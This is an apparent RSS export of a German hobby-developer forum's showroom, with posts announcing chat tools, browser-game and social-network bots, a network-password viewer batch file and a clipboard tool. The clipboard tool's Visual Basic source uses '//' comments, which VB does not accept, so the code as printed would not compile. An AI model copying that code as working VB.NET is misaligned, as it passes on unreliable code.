Dieses gibt geparste RGB Code -Strings aus (nutzbar bei Knuddels.de etc.).<br />
<br />
Habe alle Farbinterpolationen (vom Design her) aus Waschiis Farbverlaufprogramm von damals 1:1 übernommen.<br />
<br />
<br />
<u>Verwendung:</u><br />
-&gt; Bei &quot;MaxLength&quot; im Programm wählt man die maximale Zeichenanzahl, die der String haben soll am Ende. <br />
Diese Länge variiert zwischen 1000 bis 2000 (Relation zum Rang , Stammchatter/Family oder normaler Nutzer).<br />
<br />
Das Programm bietet die Möglichkeit direkt im Programm zu chatten,<br />
es ist kein springen zur Knuddels TextBox nötig.<br />
<br />
Sofern Nick und Channel noch nicht richtig erkannt:Einmal in die TextBox klicken, in der man eigentlich schreiben würde in Knuddels.<br />
Dann auf den Header vom Listview wo &quot;Channel  | Nickname&quot; steht klicken, dann wird aktualisiert.<br />
<br />
Ansonsten sollte es selbsterklärend sein.<br />
<br />
<b>Infos</b><br />
Programmiert in:                     Visual Studio 2013 Express Edition<br />
Benötigtes .Net Framework:           4.5.1 oder Höher<br />
Dateigröße (.exe):                    ~1.6 Mb<br />
Virustotal:                           <a href="https://www.virustotal.com/en/file/33ce1587098e5f6c786856ecd83618d8b89364df82617bb97949d6289855e0b6/analysis/1421085980/" target="_blank" rel="nofollow">Virustotal [0/54]</a><br />
<br />
<b>Das uneingeschränkte Chatten mit dem Programm wurde mit Java 8 Update 25 getestet!</b><br />
<br />
<br />
Support/Bugs/Verbesserungsvorschläge könnt ihr gerne Posten oder einfach PM.<br />
<br />
<br />
<img src="http://fs2.directupload.net/images/150112/ey5b5wcm.png" border="0" alt="" /><br />
<br />
<br />
Download: <a href="https://www.dropbox.com/s/mp1a2gq3ta9etaf/MangoEGT.exe?dl=0" target="_blank" rel="nofollow">MangoEGT.exe</a><br />
<br />
<br />
<br />
<font color="#FF0000"><b><u>Neue Version draußen!<br />
[+] Nun möglich auch privat ganz einfach zu Chatten. <br />
Einfach den Haken bei &quot;Send as PM to&quot; machen und den Nickname eingeben, mit dem man privat chatten möchte.<br />
<br />
[+] Kleine Bugs behoben.<br />
[+] Schriftgröße von maximal 30 auf 32 gesetzt.</u></b></font></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>!lkay</dc:creator>
			<guid isPermaLink="true">showroom-102/mangoegt-gradient-tool-35927</guid>
		</item>
		<item>
			<title><![CDATA[Release Android-App: "HardBasePlayer"]]></title>
			<link>showroom-102/android-app-hardbaseplayer-35362?goto=newpost</link>
			<pubDate>Tue, 18 Nov 2014 16:57:22 GMT</pubDate>
			<description>Hat sich erledigt, neue App wird angestrebt...</description>
			<content:encoded><![CDATA[<div>Hat sich erledigt, neue App wird angestrebt...</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/android-app-hardbaseplayer-35362</guid>
		</item>
		<item>
			<title>U-Labs Stylish</title>
			<link>showroom-102/u-labs-stylish-34792?goto=newpost</link>
			<pubDate>Tue, 07 Oct 2014 19:45:05 GMT</pubDate>
			<description>Guten uLabs, 
 
da ich gerade Lust dazu hatte, mir mal Stylish anzusehen, habe ich mir die Idee von TheRaven...</description>
			<content:encoded><![CDATA[<div>Guten uLabs,<br />
<br />
da ich gerade Lust dazu hatte, mir mal Stylish anzusehen, habe ich mir die Idee von <a href="https://u-labs.de/members/theraven-14024/" target="_blank">TheRaven</a> genommen - <a href="https://u-labs.de/diskussion-17/diskussion-u-hacks-wird-zu-u-labs-neues-design-32275/index13.html#post378793" target="_blank">aus diesem Thread</a> - und umgesetzt:<br />
<br />
<a href="https://userstyles.org/styles/106062/u-labs-blue-bg" target="_blank" rel="nofollow">Zum Design</a><br />
<br />
Ihr benötigt die Erweiterung <a href="https://userstyles.org/" target="_blank" rel="nofollow">Stylish</a> für <a href="https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe?hl=de" target="_blank" rel="nofollow">Chrome</a> oder <a href="https://addons.mozilla.org/de/firefox/addon/stylish/" target="_blank" rel="nofollow">Firefox</a> um das Design verwenden zu können.<br />
<br />
<font size="3">Vorschau:</font><br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=8142&amp;d=1412710899" id="attachment8142" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=8142&amp;d=1412710899&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	ulabsblue.png&nbsp;
Hits:	453&nbsp;
Größe:	311,2 KB&nbsp;
ID:	8142" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
(Nur unter Chrome getestet).<br />
<br />
Viel Spaß,<br />
Ruby.</div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=8142&amp;d=1412710899" 
rel="Lightbox_391651" id="attachment8142"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=8142&amp;stc=1&amp;thumb=1&amp;d=1412710899" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	ulabsblue.png&nbsp;
Hits:	-&nbsp;
Größe:	311,2 KB&nbsp;
ID:	8142"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>patlux</dc:creator>
			<guid isPermaLink="true">showroom-102/u-labs-stylish-34792</guid>
		</item>
		<item>
			<title>Release MangoEJ (JappyBot) - OpenSource</title>
			<link>showroom-102/mangoej-jappybot-opensource-34591?goto=newpost</link>
			<pubDate>Sat, 20 Sep 2014 10:38:09 GMT</pubDate>
			<description>Hallo. 
 
Einige kennen vielleicht den MangoEJ Bot. 
Der Bot wurde für das Social Network Jappy - Die Internet-Community (http://www.jappy.de)...</description>
			<content:encoded><![CDATA[<div>Hallo.<br />
<br />
Einige kennen vielleicht den MangoEJ Bot.<br />
Der Bot wurde für das Social Network <a href="http://www.jappy.de" target="_blank" rel="nofollow">Jappy - Die Internet-Community</a> geschrieben.<br />
<br />
Einige Jahre an Entwicklung sind nun vergangen und ich habe keine<br />
Lust mehr am Projekt weiter zu arbeiten.<br />
<br />
Da möglicherweise einige Personen Interesse am Code haben,<br />
stelle ich den Bot hier als OpenSource  zur Verfügung.<br />
<br />
Einige Daten:<br />
<br />
<b>Dateigröße der .Rar Datei :              ca. 14,7 mb<br />
Dateigröße des entpackten Ordners: ca. 63    mb<br />
Programmiersprache: Vb.Net <br />
Entwicklungsumgebung: Visual Studio 2013 Express Edition</b><br />
<br />
Option Strict On sowie Option Infer Off programmiert.<br />
Keine Visual Basic Namespace Methoden verwendet.<br />
<br />
Die .Exe dateien und .Dll Dateien müsst ihr ja nicht öffnen,<br />
sind auch kaum welche drin.<br />
<br />
Visual Studio 2013 erkennt die Projektdateien.<br />
<br />
<br />
Hinweis: Muss mit Winrar 5 entpackt werden!<br />
<br />
<br />
Falls jemand Fragen zum Bot / Code hat , kann ich die ebenfalls gerne beantworten!<br />
<br />
Viel Spaß ;)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>!lkay</dc:creator>
			<guid isPermaLink="true">showroom-102/mangoej-jappybot-opensource-34591</guid>
		</item>
		<item>
			<title>Pennergame Bot</title>
			<link>showroom-102/pennergame-bot-32968?goto=newpost</link>
			<pubDate>Wed, 14 May 2014 14:40:18 GMT</pubDate>
			<description>Pennergame Bot 
 
Mir war mal wieder langweilig also habe ich nen Pennergame.de Bot gecoded.  
Der Bot sammelt geld ein was durch Musik verdient...</description>
			<content:encoded><![CDATA[<div><div style="text-align: center;"><font size="6">Pennergame Bot</font><br />
<br />
<font size="3">Mir war mal wieder langweilig also habe ich nen Pennergame.de Bot gecoded. <br />
Der Bot sammelt geld ein was durch Musik verdient wurde und sammelt Pfandflaschen <br />
und leert den Einkaufswagen.<br />
<br />
Der Bot wurde gecoded in Visual Basic 2012 (vb.net) //(.NetFramework 4.5 abhänhigkeit)<br />
<br />
<font size="5">Zum coding selber:</font><br />
Sollte stabil laufen (in einem Thread)<br />
&quot;Sauber&quot; gecoded (im vergleich zu dem was man sonst so findet)<br />
<font size="5">Funktionen:</font><br />
Musikgeld sammeln<br />
Pfandflaschen sammeln<br />
Einkaufswagen leeren<br />
Penner Skillen (weiter bilden)<br />
Haustier Skillen (weiter bilden)<br />
<br />
</font><br />
<font size="3"><font size="5">Foto:<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7658&amp;d=1400365056" id="attachment7658" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=7658&amp;d=1400365056&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	Pennergamefoto.png&nbsp;
Hits:	854&nbsp;
Größe:	167,3 KB&nbsp;
ID:	7658" class="thumbnail" style="float:CONFIG" /></a><br />
</font><br />
<font size="5">Downloadlink:  // Oder im Anhang</font><br />
<a href="http://www.file-upload.net/download-8927692/Pennergame-Bot.exe.html" target="_blank" rel="nofollow">PennergameBot hier Downloaden</a><br />
<br />
<font size="5">Virustotal:</font><br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<a href="https://www.virustotal.com/de/file/3002fd4cda5c6897641cb80d24309fcef496029149ae3452b8b0b5e95813f690/analysis/1400364884/" target="_blank" rel="nofollow">https://www.virustotal.com/de/file/3...is/1400364884/</a>
</div>
</div>
</div><br />
<br />
Support via Skype<br />
skypeaddy: elbartolo21<br />
Ich bitte um Feedback :)<br />
<br />
Falls ihr weiter so einfache klick browsergames habt für die ihr einen Bot haben wollt sagt bescheid. <br />
<br />
(Games ohne flash und java einfach nur php basierend)<br />
<br />
<br />
</font></div></div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7658&amp;d=1400365056" 
rel="Lightbox_378587" id="attachment7658"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=7658&amp;stc=1&amp;thumb=1&amp;d=1400365056" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	Pennergamefoto.png&nbsp;
Hits:	-&nbsp;
Größe:	167,3 KB&nbsp;
ID:	7658"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/exe.gif" alt="Dateityp: exe" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=7660&amp;d=1400412247">Pennergame Bot.exe</a> 
(45,0 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Sploxfreak</dc:creator>
			<guid isPermaLink="true">showroom-102/pennergame-bot-32968</guid>
		</item>
		<item>
			<title>World of RPG</title>
			<link>showroom-102/world-of-rpg-32872?goto=newpost</link>
			<pubDate>Tue, 06 May 2014 19:30:34 GMT</pubDate>
			<description>Ich hoffe mal, dass ich hier im richtigen Forum bin :D Wenn nicht, würde ich mich sehr freuen, dass man den Thread dementsprechend verschiebt. 
 
Nun...</description>
			<content:encoded><![CDATA[<div>Ich hoffe mal, dass ich hier im richtigen Forum bin :D Wenn nicht, würde ich mich sehr freuen, dass man den Thread dementsprechend verschiebt.<br />
<br />
Nun zum Thema, ich arbeite nun seit mehr als einem Jahr mit einigen anderen Leuten an einer OpenSource Game-Engine in Java die auf libGDX aufbaut. Grundkonzept war es für uns, die Engine so aufzubauen, dass diese leichter zu verstehen als auch wirklich einfacher zu Nutzen  ist. Neben den kostenlosen Build-Service den wir derzeit aufbauen besteht die Engine auch aus diversen IDE-Tools und Plugins, so die Vorstellungen. Die Game-Engine trägt den Namen <b>JEMGEngine </b>und bedeutet soviel wie &quot;Java Easy Multiplatform Game Engine&quot; und das Team besteht mittlerweile aus mehr als 10 Leuten. Größtes Privileg dabei ist es, dass wir von anderen Firmen durch kostenloses Nutzen ihrer Software unterstützt werden. Hierzu beispielsweise auch IntelliJ.<br />
<br />
Nun zum eigentlichen Ziel des Threads. Wie der Titel bereits aussagt geht es um ein Spiel. Eher um ein 2D-Basiertes MMORPG was ich bereits schon als ich 11-12 Jahre alt war in Visual-Basic 6 auf die Beine gestellt hatte. Ich meine sogar dass es da noch irgendwo einen Beitrag im Knuddels-Forum existiert :D<br />
<br />
Durch die Arbeiten an der Game-Engine ist es nun auch an der Zeit, weiter zu &quot;Expandieren&quot;. Irgendwann ist einfach der Zeitpunkt gekommen wo man sagen muss &quot;Wir müssen aktiv Games entwickeln um zu sehen was an der Engine noch optimiert, gar erweitert werden muss&quot;. Und das tuen wir derzeit. Einige aus unserem Core-Team sitzen bereits an ihren eigenen gelungenen Ideen, so haben wir einfach die Möglichkeit verschiedene Situationen der Engine auszureizen. Ich habe mich nun dazu entschlossen mein Uralt-Projekt nochmals aufleben zu lassen, und das aber auf der Grundlage der Engine. Denn was in der Engine noch Fehlt wird bei mir im Spiel ohnehin gebraucht. Das wäre unter anderem ein vernünftiges Screen-Management inklusiver Transitions/Animations und eben der Hauptaugenmerk ein TileSet-based Renderer der diverse Eigenschaften besitzt (Zoom, Culling,..).<br />
<br />
In den letzen Tagen habe ich eher den Fokus auf der Webseite gelegt gehabt. Hierzu habe ich so einige Ideen, wie man das Spiel denn am besten versüßen kann. Dazu entwickle ich derzeit eine Strategie mittels Browser-Plugins in C++ (PPAPI, NPAPI und ActiveX) um das ganze Konzept etwas auszubauen. Demnach kann man über der Webseite alle Charactere managen und von dort aus das Spiel starten. Hier mal ein kleiner Einblick:<br />
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7613&amp;d=1399403828" id="attachment7613" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=7613&amp;d=1399403828&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	unbenanntwoibi.png&nbsp;
Hits:	389&nbsp;
Größe:	1,09 MB&nbsp;
ID:	7613" class="thumbnail" style="float:CONFIG" /></a> <a href="https://u-labs.de/forum/attachment.php?attachmentid=7614&amp;d=1399403856" id="attachment7614" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=7614&amp;d=1399403856&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	unbenannt1k3elu.png&nbsp;
Hits:	402&nbsp;
Größe:	1,30 MB&nbsp;
ID:	7614" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
Wozu aber nun dieser Thread?<br />
<br />
Ich suche einfach welche, die Lust daran haben entweder an der Engine oder aber auch am Game &quot;World of RPG&quot; mitzuwirken. Ich glaube dass auch hier etwas für jeden etwas dabei ist. Ich selbst tue mich etwas schwer bei Designen, deswegen wäre ein Grafiker/Designer nicht schlecht. Die Engine selbst baut auf Java auf mit einem OpenGL-Backend auf wo eventuell auch noch was in C/.NET anfallen könnte, insbesondere bei einem speziellem OpenGL-Bug den ich gefunden hatte. Das Game selbst ist auch in Java geschrieben, die Browser-Plugins hingegen in C++.<br />
<br />
Vielleicht findet sich ja jemand :)<br />
<br />
P.S. Da ich nun vermehrt in der Vergangenheit feststellen musste, dass sich Leute melden die ohnehin selbst wissen dass sie kaum bzw. keine Zeit für irgendwelche Projekte haben (sei es Beruflich, Schulisch oder einfach nur &quot;Hab doch kein Bock&quot;), rate ich davon ab sich zu melden die von vorne rein Wissen dass es nichts wird. Ich suche zuverlässige Leute und keine die einfach nur auf einer Liste der &quot;Mitwirkenden&quot; stehen und einfach nur kostenlose (eigentlich kostenpflichtige) Software abgraben wollen. Die Game-Engine ist OpenSource, das heißt: Wir bekommen keinerlei Geld dafür - Wir werden durchaus von anderen Unterstützt, dies zeichnet sich aber Unentgeldlich aus!</div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7613&amp;d=1399403828" 
rel="Lightbox_378034" id="attachment7613"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=7613&amp;stc=1&amp;thumb=1&amp;d=1399403828" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	unbenanntwoibi.png&nbsp;
Hits:	-&nbsp;
Größe:	1,09 MB&nbsp;
ID:	7613"/></a>
&nbsp;

<a href="https://u-labs.de/forum/attachment.php?attachmentid=7614&amp;d=1399403856" 
rel="Lightbox_378034" id="attachment7614"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=7614&amp;stc=1&amp;thumb=1&amp;d=1399403856" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	unbenannt1k3elu.png&nbsp;
Hits:	-&nbsp;
Größe:	1,30 MB&nbsp;
ID:	7614"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bubble Gum</dc:creator>
			<guid isPermaLink="true">showroom-102/world-of-rpg-32872</guid>
		</item>
		<item>
			<title>Vorschau TV Stream Player by Bazs</title>
			<link>showroom-102/tv-stream-player-by-bazs-29267?goto=newpost</link>
			<pubDate>Thu, 16 Jan 2014 20:38:03 GMT</pubDate>
			<description>Vollversion (1.4.2): U-Hacks Downloadbase - TV-Stream-Player (http://u-hacks.net/downloads/4-tools/41-tv-stream-player) (Version 1.4.2) 
 
 
UMFRAGE...</description>
			<content:encoded><![CDATA[<div>Vollversion (1.4.2): <a href="http://u-hacks.net/downloads/4-tools/41-tv-stream-player" target="_blank" rel="nofollow">U-Hacks Downloadbase - TV-Stream-Player</a> (Version 1.4.2)<br />
<br />
<br />
UMFRAGE IST UNNÖTIG; MEINE ENTSCHEIDUNG IST GEFALLEN UND MAN SIEHT ES AN DEN Downloads!<br />
Wenn diese gut läuft, folgen mehr Sender und mehr Funktionen.<br />
<br />
Hallo Community,<br />
<br />
da ich zu faul bin um den Fernseher anzuschalten, habe ich mir gedacht, ich baue ein TV Player, der bei beliebtheit im Forum auch noch mehr sender in einem bekommen wird (erstmal nur die Standard Sender wie Sat1, RTL, ProSieben, KabelEins (wenn möglich)).<br />
<br />
Dieser Player ist für die faulen Säcke wie ich, die kein Fernseher extra einschalten wollen und bequem im Bett mit den Laptop bisschen TV gucken wollen.<br />
<br />
Nun erstmal eine voraussichtliche Vorschau:<br />
<br />
BILD IST VERALTET,  <a href="http://u-hacks.net/downloads/4-tools/41-tv-stream-player" target="_blank" rel="nofollow">SIEHE RELEASE</a> <br />
<br />
Wie findet ihr den? findet ihr die Idee gut? <br />
<br />
Was könnte dort verbessert werden?</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=6319&amp;stc=1&amp;d=1389904649" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/tv-stream-player-by-bazs-29267</guid>
		</item>
		<item>
			<title>Release ListTheNetwork</title>
			<link>showroom-102/listthenetwork-28957?goto=newpost</link>
			<pubDate>Fri, 27 Dec 2013 18:38:01 GMT</pubDate>
			<description>*_ListTheNetwork_* 
 
Anhang 5954 (https://u-labs.de/forum/attachment.php?attachmentid=5954) 
 
 
ListTheNetwork ist eine kleine Batchdatei, die dir...</description>
			<content:encoded><![CDATA[<div><b><u><font size="3">ListTheNetwork</font></u></b><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=5954&amp;d=1388169452" border="0" alt="Name:  ListTheNetwork.PNG
Hits: 839
Größe:  8,2 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<br />
ListTheNetwork ist eine kleine Batchdatei, die dir behilflich sein soll deine Netzwerkverbindungen &amp; das dazugehörige Passwort anzuzeigen. Leider war Microsoft so cool &amp; hat den Rechtsklick bei den Netzwerkverbindungen unterbunden, wodurch ich mir leider nicht mehr das Passwort anzeigen lassen konnte.</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=5954&amp;stc=1&amp;d=1388169452" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/rar.gif" alt="Dateityp: rar" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=5953&amp;d=1388169334">ListTheNetwork.rar</a> 
(473 Bytes)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Next</dc:creator>
			<guid isPermaLink="true">showroom-102/listthenetwork-28957</guid>
		</item>
		<item>
			<title>Vorschau Visual Basic Theme Archiv</title>
			<link>showroom-102/visual-basic-theme-archiv-28172?goto=newpost</link>
			<pubDate>Sun, 17 Nov 2013 20:01:08 GMT</pubDate>
			<description>Hallo Leute, 
 
als ich eben nach einen Style gesucht habe, habe ich mir gedacht, ich baue jetzt endlich mal die Theme Sammlung in einen Programm ein...</description>
			<content:encoded><![CDATA[<div>Hallo Leute,<br />
<br />
als ich eben nach einen Style gesucht habe, habe ich mir gedacht, ich baue jetzt endlich mal die Theme Sammlung in einen Programm ein und nun wollte ich zu den Gerüst selbst erstmal einige Verbesserungsvorschläge hören.<br />
<br />
Hier seht ihr das Ding in vollen Zügen:<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=5698&amp;d=1384717659" border="0" alt="Name:  Neue Bitmap.jpg
Hits: 2211
Größe:  66,8 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
Macht mir einfach einen Vorschlag was dort noch rein könnte und ich versuche dies zu übernehmen.<br />
<br />
# Bazs</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=5698&amp;stc=1&amp;d=1384717659" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/visual-basic-theme-archiv-28172</guid>
		</item>
		<item>
			<title>Release ClipboardTool</title>
			<link>showroom-102/clipboardtool-26812?goto=newpost</link>
			<pubDate>Sat, 28 Sep 2013 07:24:38 GMT</pubDate>
			<description>Guten Morgen! 
Bin vorher von ner Party gekommen und dachte mir das sich schlafen gehen nicht mehr lohnt^^ 
Deswegen hab ich mich hingesetzt und...</description>
			<content:encoded><![CDATA[<div>Guten Morgen!<br />
Bin vorher von ner Party gekommen und dachte mir das sich schlafen gehen nicht mehr lohnt^^<br />
Deswegen hab ich mich hingesetzt und meine Idee die ich gestern Abend hatte umgesetzt :nerd:<br />
<br />
<b>Was kann das Teil?</b><br />
<br />
Dieses Tool speichert jeden Text ab den du in deine Zwischenablage kopiert hast um ihn später bei Bedarf wieder<br />
zu verwenden. Inwiefern das nützlich sein kann brauche ich glaub ich nicht näher erklären hihio<br />
<br />
Für mich persönlich ganz praktisch da es im Tray kaum auffällt und ich schon öfter mal auf der Suche nach einem<br />
verschollenem Text war :D:D<br />
<br />
<b>Screen:</b><br />
<a href="http://www.u-img.net/view/8347Xx.png" target="_blank"><img src="http://u-img.net/img/8347Xx_thumb.png" border="0" alt="" /></a><br />
<br />
Der Quellcode ist natürlich nichts besonderes, aber da ich der Meinung bin, das für Anfänger ein paar durchaus brauchbare<br />
Funktionen/Eigenschaften verwendet werden, habe ich das ganze mal kommentiert und poste es hier dazu!<br />
<br />
<b>Source:</b><br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
//Visit u-hacks.net<br />
//by exception<br />
<br />
Imports System<br />
Imports System.Text<br />
Imports System.Threading<br />
Public Class Form1<br />
<br />
    Dim current As String = String.Empty //Für die aktuelle Zwischenablage<br />
    Dim temp As String = String.Empty //Zwischenspeicher für Suchfunktion<br />
<br />
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load<br />
        ListBox1.HorizontalScrollbar = True //Horizantole Scrollbar aktiveren für ländere Texte<br />
        checkClipboard() //Zwischenablage abfragen<br />
<br />
        Timer1.Start()<br />
        Timer1.Interval = 500 //Zwischenablage wird alle 0,5 Sekunden geprüft<br />
    End Sub<br />
<br />
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick<br />
        checkClipboard() //Funktion zum überprüfen aufrufen<br />
    End Sub<br />
<br />
    Public Sub checkClipboard()<br />
        current = Convert.ToString(My.Computer.Clipboard.GetText.ToString) //Aktuellen Inhalt der Zwischenablage in curent speichern<br />
<br />
        //Abfragen ob dieses Item schon vorhanden ist<br />
        For Each item In ListBox1.Items<br />
            If item.ToString = current.ToString Then<br />
                Exit Sub<br />
            End If<br />
        Next<br />
<br />
        ListBox1.Items.Add(current)<br />
<br />
<br />
    End Sub<br />
<br />
    //Suchfunktion<br />
    Private Sub TextBox1_TextChanged(sender As System.Object, e As System.EventArgs) Handles TextBox1.TextChanged<br />
        //Mittels Schleife jedes Item in Listbox auf zu suchenden Text überprüfen<br />
<br />
        For x = 0 To ListBox1.Items.Count - 1<br />
            temp = ListBox1.Items(x).ToString<br />
            temp = temp.ToLower //Damit Groß- und Kleinschreibung beim suchen nicht beachtet wird formatieren wir den Text(nur zum suchen) mittels .toLower() in kleinbuchstaben<br />
<br />
            If temp.Contains(TextBox1.Text.ToLower) Then<br />
                ListBox1.SelectedIndex = x<br />
            End If<br />
        Next<br />
    End Sub<br />
<br />
    //Ausgewähltes Item in Zwischenablage kopieren<br />
    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click<br />
        //Prüfen ob Listbox nicht leer ist<br />
        If ListBox1.Items.Count = 0 Then<br />
            MessageBox.Show(&quot;No items aviable!&quot;)<br />
            Exit Sub<br />
        End If<br />
<br />
        //Prüfen ob ein Item ausgewählt ist<br />
        If ListBox1.SelectedIndex = -1 Then<br />
            MessageBox.Show(&quot;No item selected!&quot;)<br />
            Exit Sub<br />
        End If<br />
<br />
        //In Zwischenablage kopieren<br />
        My.Computer.Clipboard.SetText(ListBox1.SelectedItem.ToString)<br />
    End Sub<br />
<br />
    //Listbox clearen<br />
    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click<br />
        ListBox1.Items.Clear()<br />
    End Sub<br />
<br />
    //Anwendung aus dem Tray holen<br />
    Private Sub NotifyIcon1_MouseClick(sender As Object, e As MouseEventArgs) Handles NotifyIcon1.MouseClick<br />
        Me.ShowInTaskbar = True //Form in Taskbar sichtbar machen<br />
        Me.NotifyIcon1.Visible = False //NotifyIcon unsichtbar machen<br />
        Me.WindowState = FormWindowState.Normal //Fensterposition einstellen<br />
        Me.BringToFront() //Form in den Vordergrund bringen<br />
    End Sub<br />
<br />
    //Anwendung in den Tray verschieben<br />
    Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click<br />
        Me.ShowInTaskbar = False //Form aus Taskbar entfernen<br />
        Me.WindowState = FormWindowState.Minimized //Form verstecken<br />
        Me.NotifyIcon1.Visible = True //NotifyIcon sichtbar machen<br />
    End Sub<br />
<br />
End Class<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />

</div>
</div>
</div><br />
<br />
Welche Controls benötigt werden brauche ich glaub ich nicht zu sagen xD<br />
Bei Fragen einfach fragen hiho<br />
<br />
Download im Anhang!<br />
<br />
MfG</div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
